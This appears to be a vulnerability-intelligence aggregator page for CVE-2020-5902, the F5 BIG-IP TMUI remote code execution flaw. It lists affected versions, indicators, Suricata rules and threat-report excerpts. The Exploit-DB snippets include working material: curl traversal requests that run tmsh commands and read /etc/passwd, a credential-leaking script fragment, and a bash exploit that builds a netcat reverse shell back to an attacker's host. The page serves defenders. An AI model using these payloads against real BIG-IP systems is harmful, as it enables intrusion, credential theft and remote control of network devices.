CVE-2020-5902
published 2020-07-01CVE-2020-5902: In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also…
PriorityP1100critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2022-05-03
Exploited in the wild
EPSS
100.00%
100.0th percentile
In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
Affected
99 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| f5 | big-ip_aam | — | — |
| f5 | big-ip_access_policy_manager | — | — |
| f5 | big-ip_access_policy_manager | >= 11.6.1 < 11.6.5.2 | 11.6.5.2 |
| f5 | big-ip_access_policy_manager | >= 12.1.0 < 12.1.5.2 | 12.1.5.2 |
| f5 | big-ip_access_policy_manager | >= 13.1.0 < 13.1.3.4 | 13.1.3.4 |
| f5 | big-ip_access_policy_manager | >= 14.1.0 < 14.1.2.6 | 14.1.2.6 |
| f5 | big-ip_access_policy_manager | 15.0.0 – 15.0.1.4 | — |
| f5 | big-ip_access_policy_manager | >= 15.1.0 < 15.1.0.4 | 15.1.0.4 |
| f5 | big-ip_advanced_firewall_manager | >= 11.6.1 < 11.6.5.2 | 11.6.5.2 |
| f5 | big-ip_advanced_firewall_manager | >= 12.1.0 < 12.1.5.2 | 12.1.5.2 |
| f5 | big-ip_advanced_firewall_manager | >= 13.1.0 < 13.1.3.4 | 13.1.3.4 |
| f5 | big-ip_advanced_firewall_manager | >= 14.1.0 < 14.1.2.6 | 14.1.2.6 |
| f5 | big-ip_advanced_firewall_manager | >= 15.0.0 < 15.0.1.4 | 15.0.1.4 |
| f5 | big-ip_advanced_firewall_manager | >= 15.1.0 < 15.1.0.4 | 15.1.0.4 |
| f5 | big-ip_advanced_waf | — | — |
| f5 | big-ip_advanced_web_application_firewall | >= 11.6.1 < 11.6.5.2 | 11.6.5.2 |
| f5 | big-ip_advanced_web_application_firewall | >= 12.1.0 < 12.1.5.2 | 12.1.5.2 |
| f5 | big-ip_advanced_web_application_firewall | >= 13.1.0 < 13.1.3.4 | 13.1.3.4 |
| f5 | big-ip_advanced_web_application_firewall | >= 14.1.0 < 14.1.2.6 | 14.1.2.6 |
| f5 | big-ip_advanced_web_application_firewall | >= 15.0.0 < 15.0.1.4 | 15.0.1.4 |
| f5 | big-ip_advanced_web_application_firewall | >= 15.1.0 < 15.1.0.4 | 15.1.0.4 |
| f5 | big-ip_afm | — | — |
| f5 | big-ip_analytics | — | — |
| f5 | big-ip_analytics | >= 11.6.1 < 11.6.5.2 | 11.6.5.2 |
| f5 | big-ip_analytics | >= 12.1.0 < 12.1.5.2 | 12.1.5.2 |
Detection & IOCsextracted from sources · hover to see the quote
urlhttps://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb↗
snort↗
54462
- →The fetch.sh dropper uses iptables to drop packets on Telnet, SSH, and HTTP default ports on infected devices, and creates cron jobs for persistence. Look for unexpected iptables rules blocking management ports and new cron entries executing a binary named 'sysctl' from a non-standard path. ↗
- →CVE-2020-5902 exploitation involves directory traversal in the TMUI (Traffic Management User Interface). Detect path traversal sequences such as '..;/' in HTTP requests to BIG-IP TMUI endpoints. ↗
- →Use Snort rule 54462 (released by Cisco Talos) to detect exploitation attempts against CVE-2020-5902 in BIG-IP TMUI. ↗
- ·The vulnerability is particularly dangerous for BIG-IP instances whose web interface is exposed to the internet and indexed on search engines such as Shodan. Over 1000 publicly-available vulnerable devices were observed on Shodan at time of disclosure. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
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CISA
F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability
cisa·2021-11-03·CVSS 9.8
CVE-2020-5902 [CRITICAL] CWE-22 F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability
Vulnerability: F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability
Affected: F5 BIG-IP
F5 BIG-IP Traffic Management User Interface (TMUI) contains a remote code execution vulnerability in undisclosed pages.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2020-5902
Remediation Due Date: 2022-05-03
F5
CVE-2020-5902: In BIG-IP versions 15
vendor_f5·2020-07-01·CVSS 9.8
CVE-2020-5902 [CRITICAL] CWE-22 CVE-2020-5902: In BIG-IP versions 15
CVE-2020-5902: In BIG-IP versions 15
In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
Affected Products: BIG-IP AAM, BIG-IP AFM, BIG-IP APM, BIG-IP ASM, BIG-IP Advanced WAF, BIG-IP Analytics, BIG-IP DHD, BIG-IP DNS, BIG-IP FPS, BIG-IP GTM, BIG-IP LTM, BIG-IP Link Controller, BIG-IP PEM, Ssl Orchestrator
Affected Versions: 11.6.1 - 11.6.5.2; 12.1.0 - 12.1.5.2; 13.1.0 - 13.1.3.4; 14.1.0 - 14.1.2.6; 15.0.0 - 15.0.1.4; 15.1.0 - 15.1.0.4
F5 Advisory Articles: K52145254
F5 References: https://support.f5.com/csp/article/K52145254
GHSA
GHSA-2859-2hr6-f86v: In BIG-IP versions 15
ghsa_unreviewed·2022-05-24
CVE-2020-5902 [HIGH] CWE-22 GHSA-2859-2hr6-f86v: In BIG-IP versions 15
In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
VulnCheck
F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability
vulncheck·2020·CVSS 9.8
CVE-2020-5902 [CRITICAL] CWE-22 F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability
F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability
F5 BIG-IP Traffic Management User Interface (TMUI) contains a remote code execution vulnerability in undisclosed pages.
Affected: F5 BIG-IP
Required Action: Apply updates per vendor instructions.
Known Ransomware Campaign Use: Known
Exploitation References: https://redcanary.com/blog/kinsing-malware-citrix-saltstack/; https://cisa.gov/news-events/cybersecurity-advisories/aa20-206a; https://www.crowdstrike.com/blog/who-is-pioneer-kitten/; https://www.zdnet.com/article/iranian-hackers-are-selling-access-to-compromised-companies-on-an-underground-forum/; https://cisa.gov/news-events/cybersecurity-advisories/aa20-259a; https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a; https://www.esentire.com/se
Suricata
ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt M2
suricata·2020-07-08·CVSS 9.8
CVE-2020-5902 [CRITICAL] ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt M2
ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt M2
Rule: alert http any any -> any any (msg:"ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt M2"; flow:established,to_server; http.uri; content:"/hsqldb"; startswith; fast_pattern; content:"|3b|"; distance:0; reference:cve,2020-5902; reference:url,www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/; reference:url,support.f5.com/csp/article/K52145254; classtype:attempted-admin; sid:2030483; rev:4; metadata:affected_product F5, attack_target Networking_Equipment, tls_state TLSDecrypt, created_at 2020_07_08, cve CVE_2020_5902, deployment Perimeter, deployment SSLDecrypt, performance_impact Low, confidence High, signature_severity Critical, tag CISA_KEV, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2
Suricata
ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt M1
suricata·2020-07-05·CVSS 9.8
CVE-2020-5902 [CRITICAL] ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt M1
ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt M1
Rule: alert http any any -> any any (msg:"ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt M1"; flow:established,to_server; http.uri; content:"/tmui/login.jsp"; startswith; fast_pattern; content:"|3b|"; distance:0; reference:cve,2020-5902; reference:url,support.f5.com/csp/article/K52145254; classtype:attempted-admin; sid:2030469; rev:7; metadata:affected_product F5, attack_target Networking_Equipment, tls_state TLSDecrypt, created_at 2020_07_05, cve CVE_2020_5902, deployment Perimeter, deployment SSLDecrypt, performance_impact Low, confidence High, signature_severity Critical, tag CISA_KEV, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2025_03_25; target:dest_ip;)
Exploit-DB
F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion
exploitdb·2020-07-26·CVSS 9.8
CVE-2020-5902 [CRITICAL] F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion
F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion
---
# Exploit Title: F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion
# Date: 2019-08-17
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.f5.com/products/big-ip-services
# Version: 0):
return True
else:
return False
else:
return False
def leakPasswd():
print("[+] Leaking /etc/passwd from server")
time.sleep(2)
exploit('/etc/passwd')
def leakHosts():
print("[+] Leaking /etc/hosts from server")
time.sleep(2)
exploit('/etc/hosts')
def leakLicence():
print("[+] Leaking /config/bigip.license from server")
time.sleep(2)
exploit('/config/bigip.license')
def leakAdmin():
print("[+] Leaking admin credentials from server")
time.sleep(2)
r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?c
Exploit-DB
BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI' Remote Code Execution
exploitdb·2020-07-06·CVSS 9.8
CVE-2020-5902 [CRITICAL] BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI' Remote Code Execution
BIG-IP 15.0.0 "
echo
exit 1
fi
server=${1?hostname argument required}
localip=${2?Locaip argument required}
port=${3?Port argument required}
if [[ ! -f $server.der ]]
then
echo "$server.der does not exist - extracting cert"
openssl s_client \
-showcerts \
-servername $server \
-connect $server:443 /dev/null | openssl x509 -outform DER >$server.der
keytool -import \
-alias $server \
-keystore keystore \
-storepass changeit \
-noprompt \
-file $PWD/$server.der
else
echo "$server.der already exists. skipping extraction step"
fi
java -jar ysoserial-master-SNAPSHOT.jar \
CommonsCollections6 \
"/bin/nc -e /bin/bash $localip $port" > nc.class
xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex
if [[ ! -f f5RCE.class ]]
then
echo "Building exploit"
javac -cp h
Exploit-DB
BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI' Remote Code Execution (PoC)
exploitdb·2020-07-05
CVE-2020-5902 BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI' Remote Code Execution (PoC)
BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI' Remote Code Execution (PoC)
---
## RCE:
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
## Read File:
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
Nuclei
F5 BIG-IP TMUI - Remote Code Execution
nuclei·CVSS 9.8
CVE-2020-5902 [CRITICAL] F5 BIG-IP TMUI - Remote Code Execution
F5 BIG-IP TMUI - Remote Code Execution
F5 BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
Template:
id: CVE-2020-5902
info:
name: F5 BIG-IP TMUI - Remote Code Execution
author: madrobot,dwisiswant0,ringo
severity: critical
description: F5 BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
impact: |
Successful exploitation of this vulnerability could allow a
Metasploit
F5 BIG-IP TMUI Directory Traversal and File Upload RCE
metasploit
F5 BIG-IP TMUI Directory Traversal and File Upload RCE
F5 BIG-IP TMUI Directory Traversal and File Upload RCE
This module exploits a directory traversal in F5's BIG-IP Traffic Management User Interface (TMUI) to upload a shell script and execute it as the Unix root user. Unix shell access is obtained by escaping the restricted Traffic Management Shell (TMSH). The escape may not be reliable, and you may have to run the exploit multiple times. Sorry! Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2, 15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4. Tested against the VMware OVA release of 14.1.2.
Nuclei
F5 BIG-IP Security Checks
nuclei·CVSS 9.8
CVE-2020-5902 [CRITICAL] F5 BIG-IP Security Checks
F5 BIG-IP Security Checks
A simple workflow that runs all BigIP related nuclei templates on a given target.
Template:
id: bigip-workflow
info:
name: F5 BIG-IP Security Checks
author: dwisiswant0
description: A simple workflow that runs all BigIP related nuclei templates on a given target.
workflows:
- template: http/technologies/bigip-config-utility-detect.yaml
subtemplates:
- template: http/cves/2020/CVE-2020-5902.yaml
Qualys
A Strategic Response to the F5 BIG-IP Nation-State Breach 2025
blogs_qualys·2025-10-18
A Strategic Response to the F5 BIG-IP Nation-State Breach 2025
## Table of Contents
CISAs KEV Inclusion Underscores the Severity of the F5 BIG-IP Breach
The Risk-Velocity Mismatch: F5 Patching Decelerates as Attacker Insight Accelerates
How Qualys Helps You Discover F5 Assets and Detect Related Vulnerabilities
Conclusion
In mid-October 2025, the cybersecurity landscape was dealt a severe blow. F5 disclosed a long-term, sophisticated breach by a nation-state threat actor. This incident exposed critical F5 BIG-IP vulnerabilities and triggered heightened scrutiny across enterprise edge infrastructure.
This was not a typical vulnerability disclosure. The attackers exfiltrated a strategic critical pair of assets: portions of BIG-IP source code, and internal details of undisclosed (unpatched) vulnerabilities.
## CISA’s KEV Inclusion Underscores the S
Qualys
F5 BIG-IP Vulnerabilities: Strategic Breach Response with Qualys | Qualys
blogs_qualys·2025-10-18
F5 BIG-IP Vulnerabilities: Strategic Breach Response with Qualys | Qualys
#### Table of Contents
- CISAs KEV Inclusion Underscores the Severity of the F5 BIG-IP Breach
- The Risk-Velocity Mismatch: F5 Patching Decelerates as Attacker Insight Accelerates
- How Qualys Helps You Discover F5 Assets and Detect Related Vulnerabilities
- Conclusion
In mid-October 2025, the cybersecurity landscape was dealt a severe blow. F5 disclosed a long-term, sophisticated breach by a nation-state threat actor. This incident exposed critical F5 BIG-IP vulnerabilities and triggered heightened scrutiny across enterprise edge infrastructure.
This was not a typical vulnerability disclosure. The attackers exfiltrated a strategic critical pair of assets: portions of BIG-IP source code, and internal details of undisclosed (unpatched) vulnerabilities.
## CISA’s KEV Inclusion Underscore
Tenable
CVE-2024-21793, CVE-2024-26026: Proof of Concept Available for F5 BIG-IP Next Central Manager Vulnerabilities
blogs_tenable·2024-05-09·CVSS 7.5
[HIGH] CVE-2024-21793, CVE-2024-26026: Proof of Concept Available for F5 BIG-IP Next Central Manager Vulnerabilities
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CVE-2023-46747: Critical Authentication Bypass Vulnerability in F5 BIG-IP
blogs_tenable·2023-10-27·CVSS 9.8
[CRITICAL] CVE-2023-46747: Critical Authentication Bypass Vulnerability in F5 BIG-IP
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AA23-215A: 2022's Top Routinely Exploited Vulnerabilities
blogs_tenable·2023-08-03
AA23-215A: 2022's Top Routinely Exploited Vulnerabilities
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Qualys
NSA Alert: Topmost CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors
blogs_qualys·2022-10-07·CVSS 10.0
[CRITICAL] NSA Alert: Topmost CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors
## Table of Contents
Detect & Prioritize 20 Publicly Known Vulnerabilities using VMDR 2.0
Identify Vulnerable Assets using Qualys Threat Protection
Recommendations & Mitigations
Contributors
On October 6, 2022, the United States National Security Agency (NSA) released a cybersecurity advisory on the Chinese government—officially known as the People’s Republic of China (PRC) states-sponsored cyber actors’ activity to seek national interests. These malicious cyber activities attributed to the Chinese government targeted, and persist to target, a mixture of industries and organizations in the United States. They provide the top CVEs used since 2020 by the People’s Republic of China (PRC) states-sponsored cyber actors as evaluated by the National Security Agency (NSA), Cybersecurity and I
Qualys
NSA Alert: Topmost CVEs Actively Exploited By PRC Sponsored Cyber Actors | Qualys
blogs_qualys·2022-10-07
NSA Alert: Topmost CVEs Actively Exploited By PRC Sponsored Cyber Actors | Qualys
#### Table of Contents
- Detect & Prioritize 20 Publicly Known Vulnerabilities using VMDR 2.0
- Identify Vulnerable Assets using Qualys Threat Protection
- Recommendations & Mitigations
- Contributors
On October 6, 2022, the United States National Security Agency (NSA) released a cybersecurity advisory on the Chinese government—officially known as the People’s Republic of China (PRC) states-sponsored cyber actors’ activity to seek national interests. These malicious cyber activities attributed to the Chinese government targeted, and persist to target, a mixture of industries and organizations in the United States. They provide the top CVEs used since 2020 by the People’s Republic of China (PRC) states-sponsored cyber actors as evaluated by the National Security Agency (NSA), Cybersecurit
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Top 20 CVEs Exploited by People's Republic of China State-Sponsored Actors (AA22-279A)
blogs_tenable·2022-10-07
Top 20 CVEs Exploited by People's Republic of China State-Sponsored Actors (AA22-279A)
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Attackers target Ukraine using GoMet backdoor
blogs_talos·2022-07-21·CVSS 9.8
[CRITICAL] Attackers target Ukraine using GoMet backdoor
## Attackers target Ukraine using GoMet backdoor
## Executive summary
Since the Russian invasion of Ukraine began, Ukrainians have been under a nearly constant barrage of cyber attacks . Working jointly with Ukrainian organizations, Cisco Talos has discovered a fairly uncommon piece of malware targeting Ukraine — this time aimed at a large software development company whose software is used in various state organizations within Ukraine. We believe that this campaign is likely sourced by Russian state-sponsored actors or those acting in their interests. As this firm is involved in software development, we cannot ignore the possibility that the perpetrating threat actor's intent was to gain access to source a supply chain-style attack, though at this time we do not have any evidence that t
Unit42
Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
blogs_unit42·2022-07-21·CVSS 9.8
CVE-2017-5638 [CRITICAL] Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
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Vulnerabilities
## Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
Unit 42
Published: July 21, 2022
Trend Reports
Vulnerabilities
Apache Log4j
CVE-2017-5638
CVE-2017-9841
CVE-2018-19986
CVE-2019-02320
CVE-2019-19597
CVE-2019-9082
CVE-2020-14882
CVE-2020-14883
CVE-2020-15505
CVE-2020-15506
CVE-2020-25078
CVE-2020-5902
CVE-2021-21315
CVE-2021-22986
CVE-2021-26855
CVE-2021-31805
CVE-2021-34473
CVE-2021-35464
CVE-2021-38647
CVE-2021-40438
CVE-2021-40539
CVE-2021-41773
CVE-2021-42013
CVE-2021-44228
CVE-2021-45046
CVE-2022-22963
CVE-2022-22965
Network security trends
Unit 42 Network Threat Trends Research Report
## Executive Summary
Tens of thousands of vulnerabilities are repo
Unit42
Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
blogs_unit42·2022-07-21·CVSS 9.8
[CRITICAL] Top CVEs to Patch: Insights from the 2022 Unit 42 Network Threat Trends Research Report
## Executive Summary
Tens of thousands of vulnerabilities are reported every year, but not all are used by threat actors in real-world attacks. There are many reasons for this: a proof of concept (PoC) may not be available for attackers to weaponize, it may be too difficult to exploit the vulnerability, there may be a lack of accessible vulnerable software on the internet, or attackers may simply deem a vulnerability not worth exploiting due to low impact. Real-world defenders need real-world data on which vulnerabilities attackers are choosing to exploit – and where to focus protections.
In the 2022 Unit 42 Network Threat Trends Research Report, we’ve used data captured by the Palo Alto Networks Advanced Threat Prevention security service on Next-Generation Firewall and Prisma SASE from
Talos
Attackers target Ukraine using GoMet backdoor
blogs_talos·2022-07-21·CVSS 9.8
[CRITICAL] Attackers target Ukraine using GoMet backdoor
## Executive summary
Since the Russian invasion of Ukraine began, Ukrainians have been under a nearly constant barrage of cyber attacks. Working jointly with Ukrainian organizations, Cisco Talos has discovered a fairly uncommon piece of malware targeting Ukraine — this time aimed at a large software development company whose software is used in various state organizations within Ukraine. We believe that this campaign is likely sourced by Russian state-sponsored actors or those acting in their interests. As this firm is involved in software development, we cannot ignore the possibility that the perpetrating threat actor's intent was to gain access to source a supply chain-style attack, though at this time we do not have any evidence that they were successful. Cisco Talos confirmed that the
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CVE-2022-1388: Authentication Bypass in F5 BIG-IP
blogs_tenable·2022-05-05·CVSS 9.8
[CRITICAL] CVE-2022-1388: Authentication Bypass in F5 BIG-IP
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Russia-Ukraine Crisis: How to Strengthen Your Security Posture to Protect against Cyber Attack, based on CISA Guidelines
blogs_qualys·2022-02-26
Russia-Ukraine Crisis: How to Strengthen Your Security Posture to Protect against Cyber Attack, based on CISA Guidelines
## Table of Contents
Protecting Customer Data on Qualys Cloud Platform
Urgent: Assess and Heighten Your Security Posture
Step 1: Monitor Your Shodan/Internet Exposed Assets
Step 2: Detect, Prioritize and Remediate CISAs Catalog ofKnown Exploited Vulnerabilities
Step 3: Protect Your Cloud Services and Office 365
Step 4: Continuously Detect any Potential Threats and Attacks
Take Action to Learn More about How to Strengthen Your Defenses
CISA has created Shields Up as a response to the Russian invasion of Ukraine. Qualys is responding with additional security, monitoring and governance measures. This blog details how and what our enterprise customers can do to immediately strengthen their security posture and meet CISA’s recommendations.
With the invasion of Ukraine by Russia, the U.
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Government Advisories Warn of APT Activity Resulting from Russian Invasion of Ukraine
blogs_tenable·2022-02-24
Government Advisories Warn of APT Activity Resulting from Russian Invasion of Ukraine
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Unit42
Russia-Ukraine Cyberattacks (Updated): How to Protect Against Related Cyberthreats Including DDoS, HermeticWiper, Gamaredon, Website Defacement, Phishing and Scams
blogs_unit42·2022-02-22
Russia-Ukraine Cyberattacks (Updated): How to Protect Against Related Cyberthreats Including DDoS, HermeticWiper, Gamaredon, Website Defacement, Phishing and Scams
Threat Research Center
Threat Research
Malware
## Russia-Ukraine Cyberattacks (Updated): How to Protect Against Related Cyberthreats Including DDoS, HermeticWiper, Gamaredon, Website Defacement, Phishing and Scams
Unit 42
Published: February 22, 2022
Malware
Threat Research
DDoS
Defacement
Gamaredon
HermeticWiper
Nation-state
Russia
Trident Ursa
Ukraine
WhisperGate
## Executive Summary
Over the past several weeks, Russia-Ukraine cyber activity has escalated substantially. Beginning on Feb. 15, a series of distributed denial of service (DDoS) attacks commenced. These attacks have continued over the past week, impacting both the Ukrainian government and banking institutions. On Feb. 23, a new variant of wiper malware named HermeticWiper was discovered in Ukraine. Shortl
Unit42
Russia-Ukraine Cyberattacks (Updated): How to Protect Against Related Cyberthreats Including DDoS, HermeticWiper, Gamaredon, Website Defacement, Phishing and Scams
blogs_unit42·2022-02-22
Russia-Ukraine Cyberattacks (Updated): How to Protect Against Related Cyberthreats Including DDoS, HermeticWiper, Gamaredon, Website Defacement, Phishing and Scams
## Executive Summary
Over the past several weeks, Russia-Ukraine cyber activity has escalated substantially. Beginning on Feb. 15, a series of distributed denial of service (DDoS) attacks commenced. These attacks have continued over the past week, impacting both the Ukrainian government and banking institutions. On Feb. 23, a new variant of wiper malware named HermeticWiper was discovered in Ukraine. Shortly after, a new round of website defacement attacks were also observed impacting Ukrainian government organizations.
Consistent with our previous reporting on the topic, several western governments have issued recommendations for their populations to prepare for cyberattacks that could disrupt, disable or destroy critical infrastructure. We have already observed an increase in Russian c
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Über Schwachstellen zum illegalen Monero-Mining
blogs_trendmicro·2021-12-03·CVSS 9.8
[CRITICAL] Über Schwachstellen zum illegalen Monero-Mining
## Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
We looked into exploitation attempts we observed in the wild and the abuse of legitimate platforms Netlify and GitHub as repositories for malware.
By: Trend Micro Dec 03, 2021 Read time: ( words)
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Originalbeitrag von Nitesh Surana, Threat Research Engineer
Anhänger der Kryptowährungen durchleben schwere Zeiten. Der Bitcoin stürzte ab und es gab aktuell einige Angriffsversuche , so berichtet vom Magazin Spiegel. Auch entdeckten wir vor ein paar Wochen kompromittierte Docker Hub-Konten , die für illegales Kryptowährungs-Mining missbraucht wurden. Nun haben wir uns auch mit entdeckten Exploit-Versuchen und dem Missbrauch der legitimen Plattformen Netlify und GitHub als Repositories für Malwa
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Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
blogs_trendmicro·2021-12-03·CVSS 9.8
CVE-2021-41773 [CRITICAL] Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
# Vulnerabilities Exploited for Monero Mining Malware Delivered via GitHub, Netlify
We looked into exploitation attempts we observed in the wild and the abuse of legitimate platforms Netlify and GitHub as repositories for malware.
By: Nitesh Surana
2021/12/03
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Earlier this year, a security flaw identified as CVE-2021-41773 was disclosed to Apache HTTP Server Project, a path traversal and remote code execution (RCE) flaw in Apache HTTP Server 2.4.49. If this vulnerability is exploited, it allows attackers to map URLs to files outside the directories configured by Alias-like directives. Under certain configurations where Common Gateway Interface (CGI) scripts are enabled for aliased paths, attackers can also use it for RCE. As the initial fix was deemed
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CISA’s Binding Operational Directive on Managing Unacceptable Risk Vulnerabilities in Federal Enterprises Is Key to Stopping Federal Cyberattacks
blogs_tenable·2021-11-03
CISA’s Binding Operational Directive on Managing Unacceptable Risk Vulnerabilities in Federal Enterprises Is Key to Stopping Federal Cyberattacks
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Securelist
APT trends report Q3 2021
blogs_securelist·2021-10-26
APT trends report Q3 2021
Table of Contents
The most remarkable findings
Russian-speaking activity
Chinese-speaking activity
Middle East
Southeast Asia and Korean Peninsula
Other interesting discoveries
Final thoughts
Authors
GReAT
For more than four years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They are designed to highlight the significant events and findings that we feel people should be aware of.
This is our latest installment, focusing on activities that we observed during Q3 2021.
Readers who would like to learn
Securelist
APT trends report Q3 2021
blogs_securelist·2021-10-26
APT trends report Q3 2021
Table of Contents
- The most remarkable findings
- Russian-speaking activity
- Chinese-speaking activity
- Middle East
- Southeast Asia and Korean Peninsula
- Other interesting discoveries
- Final thoughts
Authors
- GReAT
For more than four years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They are designed to highlight the significant events and findings that we feel people should be aware of.
This is our latest installment, focusing on activities that we observed during Q3 2021.
Readers who would lik
Qualys
CISA Alert: Top Routinely Exploited Vulnerabilities | Qualys
blogs_qualys·2021-07-29·CVSS 10.0
[CRITICAL] CISA Alert: Top Routinely Exploited Vulnerabilities | Qualys
#### Table of Contents
- Top Routinely Exploited Vulnerabilities
- Detect CISAs Top Routinely Exploited Vulnerabilities using Qualys VMDR
- Recommendations
- Remediation and Mitigation
- Get Started Now
On July 28, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a cybersecurity advisory detailing the top 30 publicly known vulnerabilities that have been routinely exploited by cyber threat actors in 2020 and 2021. Organizations are advised to prioritize and apply patches or workarounds for these vulnerabilities as soon as possible.
The advisory states, “If an organization is unable to update all software shortly after a patch is released, prioritize implementing patches for CVEs that are already known to be exploited or that would be accessible to the large
Qualys
CISA Alert: Top Routinely Exploited Vulnerabilities
blogs_qualys·2021-07-29·CVSS 9.1
[CRITICAL] CISA Alert: Top Routinely Exploited Vulnerabilities
## Table of Contents
Top Routinely Exploited Vulnerabilities
Detect CISAs Top Routinely Exploited Vulnerabilities using Qualys VMDR
Recommendations
Remediation and Mitigation
Get Started Now
